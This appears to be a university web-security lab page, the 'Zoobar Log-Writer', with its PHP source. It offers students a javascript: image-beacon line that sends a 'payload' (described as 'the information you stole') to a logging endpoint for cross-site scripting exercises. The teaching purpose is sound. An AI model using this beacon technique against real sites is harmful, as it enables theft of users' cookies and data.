You can use this server side script to store automated log data from client-side JavaScript. For example, clicking this client-side hyperlink will cause data to be stored on our web server and be accessible in the log.
javascript:void((new Image()).src='http://cyber-vm-lab-server.eecs.kth.se/zoobar/log-writer.php?' + 'to=' + '&payload=' + '&random=' + Math.random());
The random argument is ignored, but ensures that the browser bypasses
its cache when downloading the image. We suggest that you use the random
argument in your scripts as well. Newlines are not allowed in javascript: links; if this bothers you,
try URL
encoding. The void(...); construct prevents the browser from
navigating to a new page consisting of the contents of the expression (which is
what it normally does when it encounters a non-void expression like
javascript:2+2).
If you just want to try out the script, you can use this form. (For the programming project, you'll probably want to use the JavaScript image technique shown above.)
In case you are curious, here is the source code of this page.
<?php
$to = $_GET['to'] ? $_GET['to'] : "";
$payload = $_GET['payload'] ? $_GET['payload'] : "";
$to = filter_var($to, FILTER_SANITIZE_STRING);
$payload = filter_var($payload, FILTER_SANITIZE_STRING);
$ip = $_SERVER['REMOTE_ADDR'];
$filelog = "/tmp/logfile.txt";
?>
<!DOCTYPE html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="labs.css" />
<title>Zoobar Log-Writer</title>
<link rel="stylesheet" href="../style.css"/>
</head>
<body>
<h1>Zoobar Log-Writer</h1>
<p> You can use this server side script to store automated log data
from client-side JavaScript. For example, clicking this client-side hyperlink
will cause data to be stored on our web server and be
accessible in the <a href="log.php">log</a>. </p>
<?php
$link = "javascript:void((new" .
" Image()).src=" .
"'http://cyber-vm-lab-server.eecs.kth.se/zoobar/log-writer.php?'" .
" + 'to=$to' + '&payload=$payload'" .
" + '&random=' + Math.random());";
echo "<pre><a href=\"$link\">$link </a></pre>"
?>
<p>
The random argument is ignored, but ensures that the browser bypasses
its cache when downloading the image. We suggest that you use the random
argument in your scripts as well. Newlines are not allowed in <span
style="font-family: monospace;">javascript:</span> links; if this bothers you,
try <a href="http://scriptasylum.com/tutorials/encode-decode.html">URL
encoding</a>. The <code>void(...);</code> construct prevents the browser from
navigating to a new page consisting of the contents of the expression (which is
what it normally does when it encounters a non-void expression like
<code><a href="javascript:2+2">javascript:2+2</a></code>).
</p>
<hr/>
<h2>Test form</h2>
<p>
If you just want to try out the script, you can use this form. (For the
programming project, you'll probably want to use the JavaScript image technique
shown above.)
</p>
<form method="get">
<b>To:</b>
<input name="to" size="40" placeholder="Your alias, for finding your entry in the log."/>
<br/>
<b>Payload:</b>
<input name="payload" size="40" placeholder="Your payload, the information you stole." />
<br/>
<input type="submit" value="Store" name="send_submit" />
</form>
<?php
if($to) {
$fp = fopen($filelog, "a");
// https://www.php.net/manual/en/function.flock.php
if (flock($fp, LOCK_EX)) { // acquire an exclusive lock
$nowstr = date('Y-m-d H:i:s');
fwrite($fp, "$nowstr <> $to <> $payload <> $ip\n");
fflush($fp); // flush output before releasing the lock
flock($fp, LOCK_UN); // release the lock
} else {
echo "<br/>Couldn't get the lock!!!";
exit(-1);
}
fclose($fp);
echo "<br/><a href='log.php'>Saved, see the print here!</a>";
}
?>
<hr/>
<h2>Source code</h2>
<p>In case you are curious, here is the source code of this page.</p>
<pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
</body>
</html>